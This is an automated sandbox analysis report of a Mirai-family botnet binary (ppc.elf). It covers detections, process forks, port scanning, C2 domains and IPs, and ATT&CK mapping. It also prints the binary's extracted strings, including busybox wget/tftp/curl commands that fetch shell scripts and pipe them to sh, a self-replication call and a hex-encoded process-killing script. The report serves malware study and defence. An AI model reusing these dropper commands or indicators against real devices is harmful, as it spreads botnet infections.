Edit tour

Linux Analysis Report
ppc.elf

Overview

General Information

Sample name:	ppc.elf
Analysis ID:	1580200
MD5:	323caf498cb9f33e2d3f056979cfd2a7
SHA1:	c10df8bdf5e358726a7718b592f28c4fcfe2877b
SHA256:	7253ea68a726b74b4a12e892270793bc124ad09f85808408e5630b6b4a357821
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580200
Start date and time:	2024-12-24 04:12:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	ppc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/152@11/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/ppc.elf
PID:	6253
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

ppc.elf (PID: 6253, Parent: 6168, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/ppc.elf

ppc.elf New Fork (PID: 6255, Parent: 6253)

ppc.elf New Fork (PID: 6257, Parent: 6255)

ppc.elf New Fork (PID: 6259, Parent: 6255)

ppc.elf New Fork (PID: 6260, Parent: 6255)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: ppc.elf	Virustotal: Detection: 44%			Perma Link
Source: ppc.elf	ReversingLabs: Detection: 42%

Source: global traffic	TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:43188 -> 209.38.192.73:38241
Source: global traffic	TCP traffic: 192.168.2.23:38552 -> 154.216.16.250:38241
Source: global traffic	TCP traffic: 192.168.2.23:51172 -> 154.216.16.244:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 70.86.245.197
Source: unknown	TCP traffic detected without corresponding DNS query: 39.147.16.181
Source: unknown	TCP traffic detected without corresponding DNS query: 105.136.29.120
Source: unknown	TCP traffic detected without corresponding DNS query: 20.171.193.70
Source: unknown	TCP traffic detected without corresponding DNS query: 213.144.127.204
Source: unknown	TCP traffic detected without corresponding DNS query: 204.201.246.234
Source: unknown	TCP traffic detected without corresponding DNS query: 34.103.41.109
Source: unknown	TCP traffic detected without corresponding DNS query: 146.175.115.69
Source: unknown	TCP traffic detected without corresponding DNS query: 143.61.176.160
Source: unknown	TCP traffic detected without corresponding DNS query: 106.184.33.115
Source: unknown	TCP traffic detected without corresponding DNS query: 92.88.149.12
Source: unknown	TCP traffic detected without corresponding DNS query: 44.226.235.0
Source: unknown	TCP traffic detected without corresponding DNS query: 144.40.126.131
Source: unknown	TCP traffic detected without corresponding DNS query: 111.163.118.79
Source: unknown	TCP traffic detected without corresponding DNS query: 71.47.208.188
Source: unknown	TCP traffic detected without corresponding DNS query: 134.223.3.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.176.34.231
Source: unknown	TCP traffic detected without corresponding DNS query: 99.18.254.150
Source: unknown	TCP traffic detected without corresponding DNS query: 15.184.21.218
Source: unknown	TCP traffic detected without corresponding DNS query: 130.43.83.86
Source: unknown	TCP traffic detected without corresponding DNS query: 63.203.164.222
Source: unknown	TCP traffic detected without corresponding DNS query: 69.128.190.178
Source: unknown	TCP traffic detected without corresponding DNS query: 149.145.142.179
Source: unknown	TCP traffic detected without corresponding DNS query: 70.243.27.66
Source: unknown	TCP traffic detected without corresponding DNS query: 215.46.209.23
Source: unknown	TCP traffic detected without corresponding DNS query: 174.235.192.71
Source: unknown	TCP traffic detected without corresponding DNS query: 146.96.161.151
Source: unknown	TCP traffic detected without corresponding DNS query: 222.89.131.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.225.253.200
Source: unknown	TCP traffic detected without corresponding DNS query: 8.46.74.162
Source: unknown	TCP traffic detected without corresponding DNS query: 169.231.78.113
Source: unknown	TCP traffic detected without corresponding DNS query: 22.66.155.249
Source: unknown	TCP traffic detected without corresponding DNS query: 58.220.226.181
Source: unknown	TCP traffic detected without corresponding DNS query: 70.232.52.79
Source: unknown	TCP traffic detected without corresponding DNS query: 165.242.194.103
Source: unknown	TCP traffic detected without corresponding DNS query: 204.186.196.146
Source: unknown	TCP traffic detected without corresponding DNS query: 119.18.14.180
Source: unknown	TCP traffic detected without corresponding DNS query: 156.51.201.210
Source: unknown	TCP traffic detected without corresponding DNS query: 102.237.154.31
Source: unknown	TCP traffic detected without corresponding DNS query: 79.76.24.118
Source: unknown	TCP traffic detected without corresponding DNS query: 163.175.5.171
Source: unknown	TCP traffic detected without corresponding DNS query: 54.216.193.74
Source: unknown	TCP traffic detected without corresponding DNS query: 93.251.14.125
Source: unknown	TCP traffic detected without corresponding DNS query: 4.172.224.66
Source: unknown	TCP traffic detected without corresponding DNS query: 70.86.245.197
Source: unknown	TCP traffic detected without corresponding DNS query: 39.147.16.181
Source: unknown	TCP traffic detected without corresponding DNS query: 30.58.51.140
Source: unknown	TCP traffic detected without corresponding DNS query: 105.64.234.29
Source: unknown	TCP traffic detected without corresponding DNS query: 105.136.29.120
Source: unknown	TCP traffic detected without corresponding DNS query: 20.171.193.70

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: ppc.elf	String found in binary or memory: http:///curl.sh
Source: ppc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6276/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6276/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6276/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6276/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6275/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6275/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6275/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6275/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6277/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6277/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6277/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6277/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6279/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6279/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6279/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6279/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6280/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6280/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6280/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6280/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6282/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6282/cmdline	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6327/maps	Jump to behavior
Source: /tmp/ppc.elf (PID: 6259)	File opened: /proc/6327/cmdline	Jump to behavior

Source: ppc.elf, 6253.1.0000556e95e0c000.0000556e95ebc000.rw-.sdmp, ppc.elf, 6257.1.0000556e95e0c000.0000556e95ebc000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: ppc.elf, 6253.1.00007ffc75e7a000.00007ffc75e9b000.rw-.sdmp, ppc.elf, 6257.1.00007ffc75e7a000.00007ffc75e9b000.rw-.sdmp	Binary or memory string: Ux86_64/usr/bin/qemu-ppc/tmp/ppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ppc.elf
Source: ppc.elf, 6253.1.0000556e95e0c000.0000556e95ebc000.rw-.sdmp, ppc.elf, 6257.1.0000556e95e0c000.0000556e95ebc000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: ppc.elf, 6253.1.00007ffc75e7a000.00007ffc75e9b000.rw-.sdmp, ppc.elf, 6257.1.00007ffc75e7a000.00007ffc75e9b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	ppc.elf	false		high
http:///curl.sh	ppc.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
216.74.46.125	unknown	United States	20021	LNH-INCUS	false
124.14.103.162	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
23.144.148.60	unknown	Reserved	397911	WIFISQUAREDUS	false
144.77.188.7	unknown	United States	24940	HETZNER-ASDE	false
178.105.99.68	unknown	United Kingdom	12576	EELtdGB	false
81.148.205.240	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
6.72.30.4	unknown	United States	1464	DNIC-ASBLK-01464-01465US	false
186.19.71.136	unknown	Argentina	27747	TelecentroSAAR	false
91.112.149.124	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
96.28.110.193	unknown	United States	10796	TWC-10796-MIDWESTUS	false
213.16.80.92	unknown	Hungary	12301	INVITECHHU	false
183.91.4.174	unknown	Viet Nam	45903	CMCTELECOM-AS-VNCMCTelecomInfrastructureCompanyVN	false
69.2.210.88	unknown	United States	13649	ASN-VINSUS	false
124.54.55.8	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
168.36.192.225	unknown	United States	1761	TDIR-CAPNETUS	false
6.255.155.23	unknown	United States	3356	LEVEL3US	false
78.117.118.1	unknown	France	8228	CEGETEL-ASFR	false
155.160.73.61	unknown	Japan	37532	ZAMRENZM	false
34.121.179.115	unknown	United States	15169	GOOGLEUS	false
214.172.82.118	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
65.142.212.206	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
204.24.136.175	unknown	United States	13325	STOMIUS	false
170.50.192.115	unknown	United States	11406	CIGNA-1US	false
107.119.191.162	unknown	United States	7287	PBI-NET-BLK2US	false
26.59.57.137	unknown	United States	7922	COMCAST-7922US	false
158.52.151.122	unknown	United States	11757	WHIRLPOOL-ASNUS	false
78.29.72.16	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
71.178.93.122	unknown	United States	701	UUNETUS	false
100.242.118.80	unknown	United States	21928	T-MOBILE-AS21928US	false
142.37.168.203	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
32.8.177.112	unknown	United States	2686	ATGS-MMD-ASUS	false
202.246.159.242	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
161.193.100.33	unknown	United States	263740	CorporacionLaceibanetsocietyHN	false
147.124.39.73	unknown	United States	1432	AC-AS-1US	false
105.33.232.114	unknown	Egypt	37069	MOBINILEG	false
134.81.64.79	unknown	Germany	721	DNIC-ASBLK-00721-00726US	false
217.244.31.18	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
217.75.105.8	unknown	Sweden	39369	PORT80SE	false
14.192.202.10	unknown	Malaysia	9534	MAXIS-AS1-APBinariangBerhadMY	false
136.123.120.16	unknown	United States	15169	GOOGLEUS	false

Source	Detection	Scanner	Label	Link
ppc.elf	44%	Virustotal		Browse
ppc.elf	42%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	154.216.16.250	true	false		high
serisbot.geek. [malformed]	unknown	unknown	false		high

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
186.19.71.136	I72po0MZQY.elf	Get hash	malicious	Mirai	Browse
91.112.149.124	Ud4xA2KpHR.elf	Get hash	malicious	Mirai	Browse
91.112.149.124	Antisocial.arm	Get hash	malicious	Mirai	Browse
96.28.110.193	iDJlBe9hX2	Get hash	malicious	Mirai	Browse
178.105.99.68	uK5jYPln73.elf	Get hash	malicious	Mirai	Browse
	heyjiLqtYW.elf	Get hash	malicious	Mirai	Browse
	TPbt74lx6J	Get hash	malicious	Mirai	Browse
170.50.192.115	tOZMJvIHOj	Get hash	malicious	Unknown	Browse
170.50.192.115	wCEe6Y5TGI	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	nabarm7.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	zerarm5.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splarm5.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splsh4.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	nabx86.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	splmips.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	nabppc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nabsh4.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	zersh4.elf	Get hash	malicious	Unknown	Browse	154.216.16.250

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	135.181.65.216
	daw21.exe	Get hash	malicious	Stealc	Browse	135.181.65.216
	stealcy11.exe	Get hash	malicious	Stealc	Browse	135.181.65.216
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	94.130.188.57
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	94.130.188.57
	9EI7wrGs4K.exe	Get hash	malicious	Vidar	Browse	94.130.188.57
	AmsterdamCryptoLTD.exe	Get hash	malicious	LummaC, DarkComet, LummaC Stealer, Vidar	Browse	94.130.188.57
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse	213.239.239.164
	GoldenContinent.exe	Get hash	malicious	Vidar	Browse	94.130.188.57
	https://cpanel05wh.bkk1.cloud.z.com/~cp197720/open/DD/	Get hash	malicious	HTMLPhisher	Browse	135.181.58.223
CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	splsh4.elf	Get hash	malicious	Unknown	Browse	123.59.121.71
	splppc.elf	Get hash	malicious	Unknown	Browse	114.246.183.36
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	123.114.82.202
	arm.elf	Get hash	malicious	Unknown	Browse	219.158.252.27
	jklmips.elf	Get hash	malicious	Unknown	Browse	123.114.205.169
	sh4.elf	Get hash	malicious	Unknown	Browse	61.50.206.184
	nklmips.elf	Get hash	malicious	Unknown	Browse	218.241.245.118
	ZOOM#U89c6#U9891#U4f1a#U8bae_b0138065277.exe	Get hash	malicious	Unknown	Browse	221.219.178.46
	ZOOM#U89c6#U9891#U4f1a#U8bae_b0138065277.exe	Get hash	malicious	Unknown	Browse	114.115.204.103
	armv5l.elf	Get hash	malicious	Unknown	Browse	202.96.32.85
LNH-INCUS	nshkarm7.elf	Get hash	malicious	Mirai	Browse	66.241.220.166
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	76.12.54.162
	i686.elf	Get hash	malicious	Mirai	Browse	208.112.3.78
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	65.36.254.118
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	173.239.101.147
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	209.216.8.162
	sora.mips.elf	Get hash	malicious	Mirai	Browse	216.74.46.149
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	208.112.55.117
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	76.12.54.116
	https://www.southtechhosting.com/CDFA/eDisclosure/	Get hash	malicious	Unknown	Browse	65.182.219.35
WIFISQUAREDUS	rOhEtfiB9i.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	23.144.148.23
	rlQpHIShla.elf	Get hash	malicious	Unknown	Browse	23.144.148.62
	fPW7tc1Xvh.elf	Get hash	malicious	Mirai	Browse	23.144.148.65
	OZ68lnCT2m.elf	Get hash	malicious	Mirai	Browse	23.144.148.59
	sora.arm.elf	Get hash	malicious	Mirai	Browse	23.144.148.55
	DmUK2t5XUJ.elf	Get hash	malicious	Mirai	Browse	23.144.148.17
	q0eXCVT3NF.elf	Get hash	malicious	Mirai	Browse	23.144.148.14
	DEMONS.arm.elf	Get hash	malicious	Mirai	Browse	23.144.148.58
	cutie.arm7.elf	Get hash	malicious	Mirai	Browse	23.144.148.42
	HCPpnerf7d.elf	Get hash	malicious	Mirai	Browse	23.144.148.80

Process:	/tmp/ppc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.0732557553333306
Encrypted:	false
SSDEEP:	6:MHtDFuoY/V7DF0to/VdVN/VfKoO/VNfiY/VH:MtguGV8l
MD5:	539C8E1A17A393C702AE26CCFDF79A25
SHA1:	163C955D388AC72CAFB6BDA44ACEA5FF3491FDFA
SHA-256:	32562D00A40E7B8D6FD2E30413856899D11C5EC30B72F03D12B047854A1994C2
SHA-512:	F0932D847F49B47769195857A76549C3F7819779A741067887741049559A1625BD03A43C5B4E792459466B5B311C40A94827783E3CBA1D3DD2FDA2A85A2EA63F
Malicious:	false
Reputation:	low
Preview:	10000000-1000f000 r-xp 00000000 fd:00 531606 /tmp/..1001e000-1001f000 rw-p 0000e000 fd:00 531606 /tmp/..1001f000-10021000 rw-p 00000000 00:00 0 .10021000-10022000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.294956319006714
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	ppc.elf
File size:	61'080 bytes
MD5:	323caf498cb9f33e2d3f056979cfd2a7
SHA1:	c10df8bdf5e358726a7718b592f28c4fcfe2877b
